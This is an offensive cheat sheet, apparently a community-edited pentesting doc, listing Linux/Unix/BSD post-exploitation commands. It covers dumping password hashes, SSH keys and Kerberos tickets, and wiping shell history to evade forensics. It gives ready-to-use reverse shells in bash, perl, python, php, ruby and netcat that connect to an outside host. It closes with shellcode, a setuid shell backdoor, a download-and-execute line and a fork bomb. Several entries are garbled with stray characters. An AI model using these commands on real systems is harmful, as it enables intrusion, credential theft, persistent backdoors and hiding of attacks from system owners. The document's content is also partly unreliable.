Linux - Unix - BSD Post-Exploitation Command List
Linux - Unix - BSD Post-Exploitation Command List
Command List
If for any reason you cannot access/edit these files in the future, please contact
mubix@hak5.org
You can download these files in any format using Google Doc’s
File->Download As method
If you are viewing this on anything other than Google Docs, you can get
access to the latest links to the Linux/Unix/BSD, OS X, Obscure, Metasploit, and
Windows docs here: http://bit.ly/nuc0N0
DISCLAIMER: Anyone can edit these docs, and all that entails and implies
Blind Files
(things to pull when all you can do is blindly read) LFI/dir traversal (Don’t forget %00!)
System
Command Description and/or Reason
mount mounted fs
lastcomm
lastlog
lastlogin (BSD)
lshw
ex
cat /proc/cpuinfo
cat /proc/meminfo
locate bin/nmap
locate bin/nc
Networking
● hostname -f
● ip addr show
● ip ro show
● ifconfig -a
● route -n
● cat /etc/network/interfaces
● iptables -L -n -v
● iptables -t nat -L -n -v
● ip6tables -L -n -v
● iptables-save
● netstat -anop
● netstat -r
● netstat -nltupw (root with raw sockets)
● arp -a
● lsof -nPi
The information returned by these commands can also be acquired through “cat /proc/net/*”. This is
less likely to trigger monitoring alerts. The drawback is that it generates a lot of information which then
has to be analyzed.
User accounts
● local accounts: cat /etc/passwd
○ password hashes in /etc/shadow on Linux
○ password hashes in /etc/security/passwd on AIX
○ groups in /etc/group (and/or /etc/gshadow on Linux)
● all accounts: getent passwd
○ should dump local, LDAP, NIS, whatever the system is using
○ same with getent group
● Samba’s own database: pdbedit -L -w or pdbedit -L -v
● privileged accounts: cat
○ (above: cat ???)
Credentials
● SSH keys, often passwordless: /home/*/.ssh/id*
● SSH agent:
●
● Kerberos tickets: /tmp/krb5cc_*, /tmp/krb5.keytab
● PGP keys: /home/*/.gnupg/secring.gpgs
Configs
● ls -aRl /etc/ | awk '$1 ~ /w.$/' | grep -v lrwx 2>/dev/nullte
● cat /etc/issue{,.net}
● cat /etc/master.passwd
● cat /etc/group
● cat /etc/hosts
● cat /etc/crontab
● cat /etc/sysctl.conf
● for user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l; done # (Lists all crons)
● cat /etc/resolv.conf
● cat /etc/syslog.conf
● cat /etc/chttp.conf
● cat /etc/lighttpd.conf
● cat /etc/cups/cupsd.confcda
● cat /etc/inetd.conf
● cat /opt/lampp/etc/httpd.conf
● cat /etc/samba/smb.conf
● cat /etc/openldap/ldap.conf
● cat /etc/ldap/ldap.conf
● cat /etc/exports
● cat /etc/auto.master
● cat /etc/auto_master
● cat /etc/fstab
● find /etc/sysconfig/ -type f -exec cat {} \;
Determine Distro
● lsb_release -d # Generic command for all LSB distros
● /etc/os-release # Generic for distros using “systemd”
● /etc/issue # Generic but often modified
Installed Packages
● rpm -qa --last | head
● yum list | grep installed
● Debian: dpkg -l
dpkg -l | grep -i “linux-image”
dpkg --get-selections
● {Free,Net}BSD: pkg_info
● Solaris: pkginfo
● Gentoo: # equery must be installed
cd /var/db/pkg/ && ls -d */* # always works
● Arch Linux: pacman -Q
Package Sources
● cat /etc/apt/sources.list
● ls -l /etc/yum.repos.d/
● cat /etc/yum.conf
However if you happen to be on an account that was originally inaccessible, if the .bash_history file is
available (ls -a ~), viewcating its contents can provide you with a good deal of information about the
system and its most recent updates/changes.
clear all history in ram
● history -c
● rm -rf ~/.bash_history && ln -s ~/.bash_history /dev/null (invasive)
● touch ~/.bash_history (invasive)
● <space> history -c (using a space before a command)
● zsh% unset HISTFILE HISTSIZE
● tcsh% set history=0
● bash$ set +o history
● ksh$ unset HISTFILE
● find / -type f -exec {} (forensics nightmare)
In some cases HISTFILE and HISTFILESIZE are made read-only; get around this by explicitly clearing
history (history -c) or by kill -9 $$’ing the shell. Sometimes the shell can be configured to run ‘history
-w’ after every command; get around this by overriding ‘history’ with a no-op shell function. None of this
will help if the shell is configured to log everything to syslog, however.
Escalating
Looking for possible opened paths
● ls -alh /root/
● sudo -l
● cat /etc/sudoers
● cat /etc/shadow
● cat /etc/master.passwd # OpenBSD
● cat /var/spool/cron/crontabs/* | cat /var/spool/cron/*
● lsof -nPi
● ls /home/*/.ssh/*
Maintaining control
Linux/Unix/BSD Post Exploitation Command List - Page: 9
Reverse Shell
Starting list sourced from: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
● bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 (No /dev/tcp on older Debians, but use nc, socat, TCL,
awk or any interpreter like Python, and so on.).
● perl -e 'use Socket; $i="10.0.0.1"; $p=1234; socket(S,PF_INET, SOCK_STREAM,
getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){ open(STDIN,">&S");
open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/sh -i");};'
● python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,
socket.SOCK_STREAM); s.connect(("10.0.0.1",1234)); os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'
● php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
● ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i; exec sprintf("/bin/sh -i <&%d >&%d
2>&%d",f,f,f)' nc -e /bin/sh 10.0.0.1 1234 # note need -l on some versions, and many does NOT
support -e anymore
● rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
● xterm -display 10.0.0.1:1se
○ Listener- Xnest :1
○ Add permission to connect- xhost +victimIP
● ssh -NR 3333:localhost:22 user@yourhost
● nc -e /bin/sh 10.0.0.1 1234
Stuff to be sorted
## GOING TO MOVE EVERYTHING HERE FOR LEGIBILITY ONCE EDITING DIES DOWN
Command Output
w Show info about who is logged, what are they are doing
sudo -p allows the user to define what the password prompt will be
(useful for fun customization with aliases or shell scripts)
Oh, and you’re probably a jerk if you use any of the stuff below.
Command Description
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31
″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
wget http://server/file.sh -O- | sh This command forces the download of a file and
Fork Bomb
:(){:|:&};: The [in]famous "fork bomb". This command will
cause your system to run a large number of
processes, until it "hangs". This can often lead to
data loss (e.g. if the user brutally reboots, or the
OOM killer kills a process with unsaved work). If
left alone for enough time a system can eventually
recover from a fork bomb.
Logfiles Sometimes a security unaware administrator chmods find /var/log type f perm
a sensitive log file, because he couldn't view it and 0004 2>/dev/null
therefore leaks potentially sensitive data such as
passwords or other important information.
Setuid / We already examined fully why setuid and setgid files find / \( type f or type d \)
setgid files are worth to be double checked. Such a file owned by perm 6000 2>/dev/null
root and susceptible for attacks is a big weakness.